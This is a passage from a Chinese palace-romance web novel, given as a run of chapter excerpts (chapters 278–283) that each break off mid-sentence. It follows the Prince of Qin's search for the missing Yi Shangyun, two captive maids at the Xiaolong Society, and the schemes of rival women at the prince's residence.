就在那团熊熊欲火正蔓延焚烧着他那身体里已仅剩不多的越来越脆弱的一丁点儿理智,眼看着就要被其彻底打败时,忽然,冷面手下似是已经僵硬了的一只手里所捧着的方才从兰香的手里所接过的热水壶,不知不觉中被自己碰倒在了手边的案几上。 刹那间,水壶里的热水倾倒了下来,随即发出咕咚咕咚的声音,不断流淌出来洒了一地,幸好那冷面手下眼疾手快地将水壶嗖地扶起,方才没有使其从案几上掉到地面,发出更为响亮的声音来。 这时,忽然飘出来内屋里龙烨的声音,似是已发觉了屋外细微的动静,厉声问道:“发生了什么事?” 闻此,兰香全身的动作和脸上的表情忽然间全都一起僵住嘎然而止,只似是亦有些不知所措地与那冷面手下面面相觑着。 然很快,她便回过了神来,故作一脸镇定地再次挂上那谄媚的笑容,正欲开口回话,岂料那冷面手下却先其一步霎时伸出一手紧紧地揽住了其纤纤腰肢,继而又迅速地在原地里一个急转身,便轻而易举地反将兰香给逼到了墙角,与此同时,他又飞快地伸出另一只手来死死地捂住了兰香绵软的红唇。 此时此刻,屋外的一男一女俩个人就这样怔望着彼此多多少少都已有些迷离的眼眸,俩人瞬间距离竟如此之近,近的似乎都能听到彼此欢快的心跳与急促的呼吸声。 那冷面手下几乎是贴着兰香的身体侧脸对着内屋里回话道:“没事,属下不小心将案上的热水壶碰倒了,没有热水了,属下这就马上重新取来,副帮主先歇一会儿吧,属下稍后再来伺候。” 话音刚落,冷面手下便将其揽在兰香腰肢上的那只手迅速地移到了其胳膊上,另一手则仍堵着其嘴巴,继而便匆匆忙忙地将其架着一路推出了西院去。 待到了一安全的角落里,一座隐蔽的凉亭中方才松了手。 岂料兰香刚一从其的禁锢之中被松了开来,甩到角落里,便一边揉捏着吃痛的胳膊,一边对其扬声破口大骂道:“你究竟是什么人?竟敢对本姑娘如此无理。为什么要阻止本姑娘,不让我亲自见副帮主一面与他请安呢,你究竟是何居心?” “你问我是何居心?我还想问你又是安的什么心呢?你果真只是为了想跟副帮主请安吗?”冷面男子双手环胸,伟 岸地立在一边,冷冷地反问其道。 闻声,兰香蹙眉斜起眼来,气呼呼地瞄了眼那男子深邃而又犀利的眼眸,不知为何,竟忽然心虚了起来,支支吾吾地说道:“我…我是何居心,与你何干?要你管啊!” 冷面手下听了冷哼一声,对其似是不屑地警告道:“我不管你是为了什么目的才想要接近那个人的,但是,你若是还想活命的话,最好离这个人远一点儿。否则,到了最后…吃亏的一定是你。” 极为严肃地将话刚一说完,那冷面手下便兀自转过身去欲要踱步离开,然刚走出没两步,却忽又顿足下来背对着其最后叮嘱了一句道:“对了,在这里,你最好收起你的那套本事来,不要引火自焚。” “你说什么呢?收起我的什么本事?什么引火自焚?”闻此,兰香瞬间朝其背影放眼过去,嘴巴张的愈来愈大,气急败坏地明知故问道。 “哼!姑娘好自为之吧!”岂料那冷面手下却竟又是轻蔑极了地一声冷哼道,继而便兀自离去,再也没有回头。 望着冷面手下渐渐远去的背影,她破口大骂道:“你这个人究竟是怎么回事儿嘛?神经病啊!” 继而便扑通一声,重重地跌坐在了凉亭里的石凳上。 然一静下心来,想起方才自己在西院里亲耳所听到的一切,她忽然觉得自己就像是做梦一般,竟莫名地流起了泪来,兀自纳闷着口中自言自语地低声喃喃道:“天下怎么会有与我命运如此相似的一个人,还是...不,这不可能,不可能这么巧!难道是...骁龙会的那位副帮主龙烨便是二郎家当年的那位管家?也正是他昧着良心将我卖到了那不见天日的万娇阁里饱受凌辱?原来,当年所发生的一切,事实竟是这样的。呵呵...呵呵呵...有道是‘天理昭彰,报应不爽’,老天可真是开眼啊!” 一念至此,兰香一边冷笑着说道,一边缓缓捉起衣袖来漫不经心地抹掉了脸庞的泪水,似是心里已有了打算,便兀自起身来朝着茶室方向踱步回了去。 其一脚刚迈入茶室的门,正握着一把蒲扇生火准备煮茶的燕儿一脸焦急地问道:“兰香姐,你这是去哪儿了呀,燕儿都找了你半天了,你怎么才回来啊,燕儿都担心死了!” “我...我只不过是去西院里送 第二百七十八章:暖心的补汤 听了燕儿不离不弃饱含温馨的话语,兰香心里顿时一激动,猛地朝其扑了过去,一把将燕儿紧紧地拥在怀里,含泪沉声说道:“可是你若陪我留在这里,又怎么找你家小姐的下落呢?” 燕儿亦没有再拒绝她,默了会儿,眼睛看向了茶室外空旷院落里的一片明媚春色,却道:“兰香姐,其实…不知道为什么,燕儿总觉得这里好像有我家小姐的气息。小姐她似乎离燕儿很近,很近……” “傻燕儿,你家小姐怎么可能在这里呢?我们已经在这里许多时日了,这个鬼地方除了我们俩个女子,剩下的可就都是那些看守我们的土匪强盗了啊!你可能是太紧张,太思念你家小姐,所以产生幻觉了吧!来,坐这儿歇一会儿,不要太担心了。所谓‘雁过留痕,人过留声’,目前对咱们来说,没有消息便就都是好消息。相信你家小姐吉人天相,一定会逢凶化吉的。再说了,不是还有秦王殿下源源不断地派来的大队人马亦在到处里寻找衣姑娘嘛,放心吧,嗯?”兰香捉着燕儿的肩头,挑了挑眉劝道。 燕儿眉头紧蹙,看着兰香的眼睛半晌,终于轻轻的对其点了点头,继而便被兰香牵着小手落座在一旁的长凳上稍作歇息。 兰香倒了碗热水将其递到燕儿的手里,安慰道:“燕儿你放心。待我很快处理完了那件事情,一定会马上带你离开这里,继续去找衣姑娘的。” 闻此,欢儿终于展颜开来,兰香见了亦对其淡淡地笑了笑,转念又好奇地问:“对了,据传灵空战神,西秦秦王冷若冰霜,不近女色,是个神一般存在着的人物,你家小姐的出身虽不似我们这些贫民,但也只不过是一小小宫廷药师家的女子,且还被人退过亲,长相嘛,又……倒是不知她究竟有何本事,如何能让这样一位睥睨天下的尊贵王爷如此看重。秦王殿下似乎…对你家小姐可不是一般的好啊!就算你家小姐即将成为秦王府上的一名医女,也不至于让秦王府的主子如此兴师动众,大张旗鼓地满天下寻人吧!如今,秦王府丢了医女的消息可是震惊了整个灵空大陆呀。别人也许会相信是秦王为了秦王妃所为,然我可是亲眼见过秦王和你家小姐的人。从他们俩的一举一动来看,他们之间肯定有问题。喂,小丫头,你就跟我讲讲呗!” 兰香坐在燕儿的身旁说完这段话,胳膊蹭了蹭燕儿的臂膀。 岂料燕儿却瞬间跳起,勃然大怒道:“哼…那个可恶至极的西秦学院陆少主,他算是个什么东西啊。忘恩负义,当年若不是我家老爷和夫人不辞劳苦,日夜兼程赶去帮他母亲生产,他岂能活着来到这个世上。退婚…哼…如今看来小姐醒来的时候说得极对,也正合燕儿之意,他 根本就配不上我家小姐。燕儿相信,我家小姐善良又聪明,命里一定会有这世间最好的男儿来相配。” 看到燕儿小小身躯里突然爆发出来的这般强大怒气,兰香不禁惊呆了。 于是,俩个女子就这样在茶室里一边烹煮,一边兴致盎然地热聊了起来…… 夜色如墨,月华似水,城东秦王府里,到处一片灯火通明,阵阵春花暗香浮动。 秦王亲自出马,果然很快便平息了西秦国内的四方躁动。 原来,其中居多数所谓的反贼无非就是些因为地方上不作为的官员欺上瞒下,颠倒是非黑白,造成了冤假错案,置百姓生死于不顾,仗着自己在朝里的保护伞,欺压百姓,逼民造反。 于是,该惩治的惩治,应抚慰的给予其最大的抚慰,而需上报的则一个也不放过。百姓心里舒服畅快了,没有怨言了,自然也就不再与朝廷为敌。秦王不愧为百姓的秦王,所到之处,无不对其拍手叫好的。 此举无可厚非再一次又使其威震朝野,令璟帝又对其更多心生了一丝畏惧和防范。 而此时,主仆俩方才一起踏着月色马不停蹄地从皇宫里刚刚赶回到府中。 一下马来,轩辕翰便径自朝着林月轩寝殿里急急奔去,褪下了一身戎装,换作一袭锦白长袍后。身体虽然很累,然愁绪却似是更长。其实甚至就连他自己亦早已忘记了曾几何时起,便已是如此,几乎每日都是夜不能寐,食不甘味。 索性,便又起身来,出门踏进了承华殿里。 原本生来注定就是这样枯燥无味的戎马生涯,这般孤独无趣又清冷的一个人。而现在,却因为另一个灵魂的出现而变得渐渐温暖了起来。 人生,似乎不该总是只顺从和接受命运的安排,原来再孤独,再冰冷的灵魂,也会遇到那个让他愿意为之而做出任何改变的人。 进入承华殿一落座下来,便从袖子里似是习惯性地拿出了那个日日夜夜,甚至就连用膳,就寝亦一直无时不刻地揣在自己身上的宝蓝色香囊,捧在手里对着其发起呆来。 &nb 第二百七十九章:灵儿识地图 就在张嬷嬷正生气地收拾着汤碗准备离去之时,轩辕翰忽然一脸严肃地默默对其开口说道:“张嬷嬷,本王知道你想说什么。其实,本王正想问问你,不知你觉得城西衣府的嫡女如何?母妃生前,你是最知她的喜好与心意的人。” 闻此,张嬷嬷忽然顿足愣住,停下手里的动作,一时间竟都反应不过来那久久回荡在自己耳边的声音究竟是从哪里发出来的一般。 许久后,直到听见那熟悉的不能再熟悉的声音再次在她的耳畔边一声声响起,呼唤她道:“张嬷嬷,张嬷嬷!” 至此,她方才忽地回过神来却似是深感极不真实地向其惊问确认道:“方才殿下说什么?老奴没听错吧,殿下是在说一个姑娘吗?…这么多年了,殿下还是第一次如此认真地与老奴说起一个姑娘呢!殿下说的是谁?哦,对了,‘城西衣府嫡女’...衣姑娘?” 张嬷嬷吃惊地凝视着他的眼睛连连自言自语地道,轩辕翰也终于深吸了口气,望着面前案几上的那个宝蓝色香囊,轻轻地点了点头,一双炯目顿时浮现出一丝从未有过的隐隐温柔之色。 见此,张嬷嬷的眼里竟顿时闪烁起泪花来,一边用衣袖去抹,一边又喜极而泣地道:“殿下,你终于...终于…太妃娘娘……” 张嬷嬷终是激动地再也说不出话来,千言万语到最后只不过哽咽着呼唤了一声她的主子。 此刻,似是这些年来她心里对眼前这个小主子所有的担忧终于得到了释然一般,满心欢喜地对其连连道好:“好,好,好…只要殿下喜欢,太妃娘娘也一定会喜欢的。衣姑娘是个好姑娘,也是个可怜的孩子。唉,这个陆贤呐,老身看他真是老糊涂了,也不知道怎么教育家里的那对活祖宗的。儿子,女儿,俩个竟都没有一个像话成器的。就连衣姑娘那么好的一个女子也瞧不上,还纵容那逆子不知礼义廉耻,忘恩负义地亲自上衣府去退亲。惹得满城风雨不说,这叫人家一个未出阁的大姑娘以后还怎么嫁人呢?” 闻此,轩辕翰方才还好好挂在脸上的一片柔色,忽然间尽数褪去,张嬷嬷一见忙对着自己的嘴巴狠狠拍了两下,着急地解释道:“殿下勿怪,老奴不是有意的,老奴只是一时心急口快,殿下莫要上心。其实,城西衣府的衣姑娘虽说其出身,名声及长相是有些…不过,接到王府里来做个侧妃,倒也罢了。” 其实,纵使心里再多喜欢,然在思想陈旧的张嬷嬷心底,对于衣上云这样一个被退过婚,又出身卑微的女子,多多少少还是有些轻视的。 毕竟,她的小主人可是含着金汤匙出生的。自小锦衣玉食,更是被她的主子太妃娘娘以及先帝曾经捧在手心里长大的。 这本来就是门不当,户更亦不对的一场际遇。 然对于轩辕翰与衣上云之间所发生的点点滴滴,对于看遍了人世间太多种男欢女爱的张嬷嬷来说,自也是心知肚明的。 但只要这个主子能像个正常人一般开始生活,偌大的秦王府能得以后继有人,她又有什么不能退让和接受与成全的呢? 就在俩主仆难得交心的一场谈话因此而突然陷入僵局之时,手里正拿着一卷地图进来的程良驻足在门口听到了张嬷嬷的话,又一见主子脸上忽然挂起的似是比以往还要冰冷渗人几分的脸色,便瞪着眼睛悄悄地对张嬷嬷使了个眼色。 张嬷嬷一见,正惶惶不安,小心翼翼地准备拾起汤碗来悄悄退下,岂料轩辕翰却突然扬声开口,信誓旦旦地认真说道:“本王不管这个世界怎么对她,世人又如何看她,本王都不会委屈她半分,本王此生要定了她。不但要她,而且要三书六娉,明媒正娶,让她光明正大,风风光光地迈入秦王府大门,做本王唯一的秦王妃,与本王执子之手,与子偕老。” 闻此,已近身到其身旁来的程良和旁边捧着汤碗的张嬷嬷俩人顿时不约而同地瞪大了眼睛,互相面面相觑起来。 然轩辕翰却深吸了口气,兀自又将目光瞪向了程良的身上。程良一被此寒光四射的眼神射中,便忙将手中的地图画卷拿出,摊开在其面前那张乌亮的沉木案几上。 这时,进门请安后一直独自躲在大殿里四周到处爬上爬下,自己找乐子玩的小灵儿似是早已百无聊赖,对承华殿里的一切都失去了兴趣。忽然转身将目光移向了轩辕翰正在摊开来看的一纸奇怪记号上。 于是,便摇摇晃晃着小身子悄悄地向其边上挪步了过去,默默地站在其对面亦似是饶有兴致地凝视了起来。 看了一会儿,忽然,灵儿伸出一只短小可爱又胖乎乎的手指头来,指着地图奶声奶气地好奇问道:“秦王殿下,你这是在看什么呀?这多好的纸张,上面怎么却被你画的乱七八糟的。灵儿在府里听人说,秦王殿下学识渊博,琴棋书画,武艺兵法无所不通,可这幅画看上去怎么一点儿也不好看呢!” 闻声,张嬷嬷这才忽地缓过神来,忙伸手勾了勾手指,同时开口召唤其道:“灵儿快过来,不要打扰殿下的公务。” “不碍事的,灵儿,你过来。”岂料 第二百八十章:一颗紫檀佛珠 听了灵儿的话,轩辕翰亦是颇为疑惑地看着那接近于是一个桃花形小点的地方,忙开口叫来身旁的副将,道:“程良,快过来看看,这是什么地方,可有人居住?” 闻声,程良忙飞奔至前,仔仔细细地一边看,一边回想着,半晌后,说道:“这里…好像是有个叫做桃花店村的小村落,因为地处与南安国交界之处,所以,究竟是属于我西秦还是南安,至今都还尚未定论。” 就在这时,灵儿忽然挣开了轩辕翰的怀抱,急奔向张嬷嬷身边跑去,紧紧抱住张嬷嬷的腿,似是极为惊喜地道:“张嬷嬷,张嬷嬷,你可听到了?地图上的南边果然真的有个像朵桃花般的桃花店村耶!云姐姐一定是在那里!” 闻此,轩辕翰即刻一副惊异的眼神注视着灵儿与赵嬷嬷,问:“什么桃花,谁一定在那里?灵儿到底在说什么?” 赵嬷嬷忙伸手一把揽住了小灵儿的肩膀,替其解释道:“是这样的殿下,前段时间,灵儿在后院里玩耍,看到天空中飘着一朵雪白雪白,边上似是晕出了五朵像桃花花瓣的云彩。便说若北方的那朵云彩是她至今尚未归来的爹爹的话,那南方的那朵桃花云朵,便是失踪了的衣姑娘,因为她觉得只有衣姑娘才会像那朵桃花云那样美。这都是小孩子闹着玩的,许是平日里太想念他们了才瞎说的,殿下莫要听她胡诌当真了!” 轩辕翰正望着那片地形思索,岂料灵儿却顿时瞪大了眼睛看着张嬷嬷,大声与其争辩道:“不,灵儿才没有胡诌呢!不止如此,灵儿在梦里还梦到过云姐姐呢!她那里就和世外桃源一样地与世隔绝着,有一片极美极美的十里桃林。” 灵儿缓缓松开了附在张嬷嬷腿上的一双小手,嘟囔着小嘴,眉头微蹙着缓缓低下头去,又忧伤地说道:“可是,在那桃林深处,云姐姐...云姐姐却不记得灵儿了,无论灵儿跟她说什么,说奶奶,说张嬷嬷,说程将军,说秦王殿下……她都记不起来,呜呜呜…她只是对灵儿说,说她就要离开这里了…秦王殿下,云姐姐现在一定还在地图上的那点桃花之处,你赶快派人去找她回来啊,若是去晚了,以后可就再也难见到她了!呜呜呜……灵儿要云姐姐,灵儿要云姐姐,云姐姐……” 灵儿一想起自己的梦境,直伤心不住地呜呜大哭了起来。 见此,张嬷嬷赶忙蹲身下去帮其一边抹泪,一边安慰她道:“灵儿莫哭,梦都是反的,你云姐姐不会忘记你的。我们灵儿这么可爱,这么乖,这么听话,她怎么会舍得不认灵儿呢!不要哭了,不要哭了。来,看看张嬷嬷有什么,这个给小灵儿玩好不好?别哭了……” 小灵儿的哭声愈来愈撕心裂肺, 轩辕翰的心亦顿时被这哭声紧紧的揪住,一时间里又不知该如何哄劝,便和程良一起直怔在了原地里无助地看着其就这样凄惨地落泪不止,场面顿时一片混乱。 这时,张嬷嬷情急之下,忙伸手摘下了挂在她脖颈上,遮在衣裳里面的由一根绳子串着的一颗看起来似是其无论色泽还是质地都相当稀奇罕见的紫檀珠子来,将其递到了灵儿的手中。 看着灵儿捧着那颗紫檀珠子终于变作哽咽了起来,在场众人不禁终于都长长的舒了口气。 然这时,轩辕翰却怔望着灵儿手里的东西,满满一副若有所思的样子,他隐隐觉得那颗紫檀珠子看起来似是很眼熟的样子,像是曾在哪里见过。 “殿下若没有其他事情吩咐,老奴便带灵儿退下了。这孩子这两日身子有些不适,总爱哭闹,莫让她再惊扰到殿下了。”为防止灵儿待在这里再闹出什么事儿来,张嬷嬷便向主子俯身行礼,欲带其告退。 然轩辕翰却似是并未听到她所言一般,兀自缓缓站起了身来,直盯視着灵儿的手里,愣愣地走下台阶来,朝其径自踱步了过去。 待其近身终于将她手里捏着的那颗佛珠看的清清楚楚:在那颗久违了的紫檀珠子上,明明尚还保留着他小时候曾特意亲手替其母妃精心雕刻上去的佛经字迹,亦霎时间清清楚楚地记起父皇还因此而平生第一次夸奖了他。然如今,却早已是物是人非事事休。 一阵凄凉涌上心头,轩辕翰不禁顿时心中一惊,问道:“张嬷嬷,这颗紫檀珠子...你是从何处得来的?” 闻此,张嬷嬷忙从灵儿的手里又将那串珠子夺了回来,将其双手奉上到轩辕翰的面前,回道:“这颗珠子,殿下不记得了吗?当年太妃娘娘在宫里诞下殿下的时候,先帝曾特请城南城隍庙的得道高僧将此世间唯仅只有这一串的紫檀佛珠开过光后,赏赐给了太妃娘娘。太妃娘娘甚是稀罕,一直都爱不离手地随身带着。而老奴的这颗珠子,便是八年前太妃娘娘遭遇不幸的那夜里临睡前,娘娘在城隍庙里祈福祷告时不小心将佛珠给弄断了,尚还没来得及请师父修理,娘娘便……后来,老奴便擅自做主将这颗珠子留了下来,想做个念想,还望殿下勿怪!” “那其他散落的珠子呢?为何只有这一颗?”轩辕翰不解地问。 张嬷嬷拭了拭已然有些湿润的双眼,答 第二百八十一章:本王将她们都还你,可好? 看到主子一听是衣上云的消息,竟先入为主地乱了自己的方寸,程良急忙解释道:“殿下息怒,玉娘所送来的消息说的不是衣姑娘,而是衣姑娘的丫鬟燕儿与兰香姑娘。她们俩不顾众人劝阻,沿着河道偷偷私自一直往南寻了去,已经与其失去联系已有多日了。” 闻此,轩辕翰方才那瞬间似被提至到嗓门口处的无比紧张,激动,又害怕的念想方才得以缓和了些许下来。 看着面前案几上所铺着的那张被自己亲手圈上去的一个个醒目红圈的地图,尔今还能支撑着他继续坚持寻找下去的唯一理由,怕就只有这不见任何消息传来的好消息了。 显然,在他的心底,对于寻找衣上云所报来的消息,是既盼,又怕。对于如此一个杀伐果决的战神秦王来说,他从未对一件事,一个人如此患得患失,迟疑害怕过。 于是,他心下里终于默默地松了口气,继而疑惑地问程良道:“衣府的丫鬟怎么会跟她们在一起?” 程良答道:“说是衣府见衣姑娘多日外出不归,便派衣上俊和丫鬟燕儿去城南万娇阁打听消息,恰巧半道上遇见的。得知衣姑娘出了事,衣上俊便先回府禀报,燕儿便留下与众人一起继续寻找衣姑娘了。” “原来如此,那衣上俊现又在何处?”轩辕翰默了会儿,淡淡道。 “殿下您忘了?上次在衣府门前,殿下见衣上俊无所事事,便令他参军。如今,他正身处在军营里加强磨练呢!看样子,还不错,若是再假以时日,想必一定会成为将帅之才。”程良言语中带了些许惊喜地提醒其道。 闻此,轩辕翰的眼睛亦是微微抬起忍不住惊愣了一下,没想到这衣上俊倒是挺出乎他预料的,竟敢有勇气加入他的阵营,一点儿也不像他的父亲衣上坤那般中庸。 于是,他转念又问:“怎么这么不小心?那燕儿定是寻主心切才会至此,为何没有派人盯紧她?有没有派人去寻过?” 程良一边将信函递上,一边回道:“信里说燕儿是借口要和兰香去碧水湖附近再看看有没有遗漏的其他线索,因为距离并不是很远,所以大家也没有太在意。后来,到了天黑下来亦还不见俩人返回,出门一打听这才得知她们并未去碧水湖,而是一出门便雇了辆马车绕道一直向南寻了去。后来,那车夫见他们越走越远,说是已经快要到南安国的边境处,附近的人皆传说那里有个叫做‘骁龙会’的神秘组织,便不愿再继续往前。于是,俩人便下了马车兀自沿着河道自个儿寻了去。想必,燕儿和兰香,很有可能便是被这骁龙会的人给抓了。但骁龙会向来行事很小心谨慎,故派去寻她二人的人很难再打听到里面的消息。因为燕儿是衣姑娘的 贴身丫鬟,不得已玉娘只能书信来给殿下,请殿下定夺。” “这骁龙会里究竟是些什么人,如此大胆,光天化日之下,竟敢强抢民女?”轩辕翰勃然大怒道。 这时,程良暗自纳闷思索着,口中喃喃道:“骁龙会,这个名字听起来怎么这么耳熟......” 只不过须臾,只见他似是突然想起来什么,眼睛一怔,继而忙开口说道:“殿下可曾还记得,前段时间咱们一一排查那些由各地官府所呈报上来的各地疑似叛党名单上的每个叛乱组织的时候,似乎也曾看到过骁龙会这个名字。“ 闻此,轩辕翰急急撇了眼那书信中的‘骁龙会’三个字,稍加思索,忙道:“没错,你这样一说,本王倒也似是觉得的确在哪里见过‘骁龙会‘这三个字。” 轩辕翰一边说,一边闭起那双灿若星河的明眸来,急急回想着,脑海里忽然一个灵光闪过,一睁开眼来便道:“本王想起来了,当时因为唯独只有这个骁龙会不仅地处南安边境,且又尚未对朝廷闹出什么出格的乱子来。但为防止他日后成为漏网之鱼,故我们暂时只对其用了一场苦肉计,让我们的细作潜入了进去,伺机刺探其真正的组织内幕,以防止被动。” 程良一听,先是皱了下眉,继而立马惊喜地道:“对对对,就是这个骁龙会,这可真是够巧的啊!既然如此,不如,让属下现在立刻先去联系那个细作看看,想他一定有办法打探到燕儿与兰香的消息。” 话一说完,蓦然朝主子望了过去,正满心期盼着主子发话的程良却见其只顾放眼于案几上的地图,正集中注意力颇为认真地不知在看些什么,便亦好奇地向其凑近了过去。 然一看到那些令人触目惊心的一个个红色圆圈,霎时心里一股莫大的悲愤浮上心头,继而安慰主子道:“能得殿下如此挂念着,相信衣姑娘一定会好好活着的。” 然轩辕翰却似是并未听到他所说的话一般,只指着地图上南安国的北部边境线与桃花店村的位置来回移动着,认真地问程良道:“程良你看,骁龙会距离桃花店村的位置,是不是很近?” 程良闻声,顿时看着主子的侧脸,不解地问:“殿下的意思是……” 岂料轩辕翰并未回答程良的疑问,忽然飞快地卷起地图来。 程良一见,更惊异了几分地问道:“殿下您这是要做什么?” 正在说话间,轩辕翰已将地图卷 第二百八十二章:四海茶庄来信 闻此,张嬷嬷终是没能再继续隐忍住其心底的那份悲愤与不甘,牵着灵儿的手顿足住咬着牙深深地吸了口气,接着冷笑了一声,继而缓缓转过身去面带了一丝轻蔑的浅笑对其说道:“听闻世人皆传西秦学院陆贤的家教一向严苛,教出来的女儿甚是蕙质兰心,知书达礼,处事冷静,尽显大家闺秀之淑女风范,可……” 说着说着,她忽然停了下来,朝陆天骄的周身将其略打量了一番,继续道:“可如今,老身瞧着,怎么竟就如同是一条疯疯癫癫的丧门之犬一般呢!可是出门时忘记吃药了不成,还是根本早已就是死到临头,无须再暴殄天物了!” 话一至此,张嬷嬷早已收敛起笑容,口气亦变得强硬了起来更似是教训一般。 “你…你这个老奴才都是在说些什么?…你是不是疯了?”陆天骄闻此直朝其越来越瞪大了那双好看的美目,显然被张嬷嬷的这阵痛斥惊呆了。 张嬷嬷舒了口气,继续欲言又止道:“老身有没有疯,亦或到底是谁丧心病狂,干了那些丧尽天良的缺德事儿,你心里最是清楚不过了。这样也好,你我之间,以后不妨就都打开天窗说亮话,无需再遮遮掩掩。“ 看到陆天骄脸上露出一抹心虚,张嬷嬷最后认真道:“陆小姐,好歹咱们也算是有缘相识了一场,老身不妨最后一次替那因你而枉死的太妃娘娘奉劝你一句‘天作孽,犹可违,自作孽,不可逭’,凡事都记得给自己留条后路。不然,没准儿哪天空中便突现起一道惊雷来,陆小姐便被这老天给收了!” 就在这时,黄昏时分的天空中霎时间真的发出来轰隆隆的一阵巨响,陆天骄心中一惊,不禁顿时被这滚滚雷声吓得连连后退了好几步方才停下,险些踉跄倒地。 待其忽一回过神来,看到张嬷嬷牵着小灵儿正转身欲要踱步离去,她猛地上前去将自己的整个身子都挡在了张嬷嬷的面前。 又迅速地伸出两只手来拽住其胳膊拼命地将其一边摇晃,一边面目狰狞地对其咆哮道:“你想要去哪里?你不准走,你还没告诉我,翰哥哥到底去哪儿了?你快告诉我,快告诉我啊!” 伴随着她声嘶力竭的这阵咆哮声,传出一阵甚为清脆的瓷器落地的声音。张嬷嬷年迈,平日里本就总是头晕眼花的,此时又哪里经得起她这般疯狂又大力地摇晃。只不过须臾,便已摇摇坠坠似是快要晕过去了。 这时,被其甩到一边的小灵儿吓得一边哇哇大哭,一边忙扑上去死死地拽住她的衣袖向其祈求道:“你是个坏姐姐,你放开张嬷嬷,快放开她,灵儿告诉你,秦王殿下去桃花店村找衣姐姐了。张嬷嬷已经快要晕倒了,求求你,快放开她啊!” “什 么?那个贱蹄子竟然还没有死,她在桃花店村里,翰哥哥亲自去找她了……”闻此,陆天骄顿时瞪大了眼睛惊诧地看着灵儿的脸自言自语道。 随之,终于愣愣地慢慢松开了双手,继而一脸失魂落魄地朝向燕栖阁方向缓缓踱步而去。 只听到身后顿时传来哐嘡一声似是有人摔倒在地的声音和小女孩尤为凄惨的痛哭疾呼声:“张嬷嬷,张嬷嬷……” 待其双脚刚一迈入到燕栖阁的院内,一瘦弱的瓜子脸婢女一手背后着,另一手里握着一锭银子,正对其暗自一脸窃喜着。 时不时又不忘朝周围里张望一眼,看似一副鬼鬼祟祟地模样正站在院内的鱼池边上,似是有些焦急地来回踱着方步。 一见陆天骄终于回来,便忙朝四下里探了探,见并无他人,便将那锭银子飞快地收了起来,继而将背后手里藏着的一封信拿了出来,朝其走了过去将它递到陆天骄的面前道:“陆小姐,您的信!” 陆天骄这才骤然回过神来,眨了眨眼睛,望着其疑惑问道:“是谁给我的信?” 瓜子脸婢女喜滋滋欢快地答道:“是奴婢方才外出回府时,在半路上一个十来岁的孩子上前来递到我手里,请我转交给小姐的。” 闻此,陆天骄稍加思索便似是已经将来信的人猜到了几分。便忙接过信来,并从袖子里掏出一锭银子来笑吟吟地将其推到了瓜子脸婢女的手中,握着她的手对其故作情真意切地道:“这只是一封家书而已,请你务必千万不要将这件事告诉其他任何人。我是因为太思念家中的父亲与哥哥,又不忍心拒绝王妃姐姐的盛情邀请,不想她因此而为难伤神,这才……” 岂料陆天骄话未说完,那瓜子脸婢女便似是已明白了她的意思,眼睛直勾勾地只盯視着手中的那锭银子,眉飞色舞地道:“陆小姐尽管放心,奴婢不会跟任何人提起这件事的。天色已经暗了,陆小姐还是进屋去慢慢看这封家书吧,奴婢告退了。” 一边说着,瓜子脸婢女便俯身行礼暗自在心里一边窃窃狂喜着,一边双手将今日里所收获到的第二份意外之财紧紧地握在手心里退了下去。 直到见其彻底消失在她的视线里,又朝着院子四周仔细地查看了一番,方才安心地疾步进屋去关起了门来,将信速速展开,借着明亮的烛火之光细细看了起来。 “果然是他!这个人看起来还真是不简单呢!左不过也就大半个月的时间,便就如此迅速地重振旗鼓,竟开起了一家城内数一数二的茶庄来...‘四海茶庄’,哼...真是好大的口气呀!” 陆天骄嘴角微微上扬咧出一抹轻笑来,一边喃喃自语着将信很快看完,正一手捏着信沉 默地坐着,忽然传来一阵叩门声“咚咚咚” &nbs 第二百八十三章:关于母凭子贵的事 梅汐媛依旧懒懒地倚在舒适的软榻边,浑身散发出一股淡淡的梅花幽香,姿态优雅地轻抿了口手中的茶汤,似是极为不屑地道:“妹妹指的可是衣上云那个丫头在城南不慎跌落悬崖,至今都生死不明这件事吗?那个贱骨头,她最好是粉身碎骨死透了,否则看我怎么收拾她,竟敢借口延误至秦王府当差的日子,那可是抗旨之罪,是要诛灭九族的。” 闻此,陆天骄默了会儿,其实她想说的并非是这茬,而是直入正题将方才所得到的最新消息告诉她。 然一见梅汐媛果然什么尚都还不知道,既然是她自己先开的口,便也不介意顺着其话头先来个小插曲热热场。 于是,她故作一脸震惊地道:“那姐姐又是否可知,如今秦王府悬赏整个灵空大陆,寻找丢失了的医女的消息已是整个西秦国的大街小巷里无人不知,无人不晓了呢?而且,妹妹还在街上听人说,这可是秦王殿下亲自向皇上请旨寻的人呢!” 此话一出,只闻夜里一片寂静的韶华阁内,忽然一阵瓷器落地所发出的支离破碎的声音“咔嚓嚓” 继而,便响起梅汐媛异常惊诧的怒吼声,道:“什么?竟有此事?怎么从都未听过有人向本王妃通报过此事呢?” 梅汐媛一边纳闷着,一边瞪向了屋内所有人正低垂着的脸,深吸口气恶狠狠地扬声斥责道:“你们一个个都是木头做的吗?还是根本都是故意的,又或者本王妃平日里对你们都太好了,你们竟敢如此怠慢了这份差事。” 闻此,霎时间周围所有奴仆皆都战战兢兢,不约而同地纷纷跪倒在地一大片,那个跪在其最身旁的贴身婢女低垂着脸小心翼翼地怯声道:“王妃娘娘请息怒,这都是赵嬷嬷吩咐的,赵嬷嬷说王妃娘娘自打城隍庙里回来后便整日里郁郁寡欢,身体欠安着。便不让咱们将这件事透漏到娘娘的耳边,怕扰了娘娘的清净。” 然梅汐媛已然一发不可收拾的愤怒情绪却并未因此而缓和下来半分,反倒更火冒三丈地一把重重地拍在身旁的案几上,厉声道:“混账,难道你们都反了不成,不想让本王妃知道,还冠冕堂皇地说什么是为了本王妃好,那就眼看着让本王妃如此做一个令世人耻笑的傻子吗?” 这时,陆天骄见其已然怒火中烧了起来,心中甚是窃喜自己仅用了三言两语便解了其方才对自己的嘲讽之气,方才缓缓又开口劝其道:“姐姐也莫要太过于迁怒他们了,就依现在外面所传的局势来看,对姐姐来说,也未必算是坏事?” “哦?妹妹此话怎讲?”梅汐媛不解地道。 陆天骄道:“如今人们多数都是传说那是因为殿下对姐姐鹣鲽情深,怜香惜玉,才会如此大张旗鼓地满 天下为了姐姐寻人。甚至还有人怀疑是不是姐姐已经有了好消息,急需要寻回最贴心的医女照料方才至此。所以眼下,正所谓‘流言止于智者’,只要姐姐把握住这个难得的机会,将传言变为事实,堵住悠悠众口,那才是上上之策啊!” 梅汐媛颇为认真地听完了这番似是很有道理的话,又含羞垂首看了看自己扁平的腹部,兀自定睛对其说道:“妹妹是说,要我在这段时间里真的怀上殿下的骨肉…这谈何容易!” 